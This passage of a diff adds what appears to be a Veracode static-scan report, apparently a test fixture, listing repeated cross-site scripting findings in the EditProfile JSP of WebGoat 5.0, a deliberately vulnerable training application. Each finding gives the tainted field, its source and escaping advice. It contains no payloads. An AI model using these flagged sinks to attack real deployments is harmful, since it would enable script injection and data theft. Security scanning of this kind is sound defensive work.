+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"200\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"102\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"195\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"125\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"61\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"65\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"249\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"140\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"152\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"134\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"142\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
